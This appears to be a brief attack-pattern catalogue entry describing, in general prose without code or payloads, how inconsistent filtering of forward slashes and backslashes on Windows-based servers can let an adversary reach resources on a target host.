This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.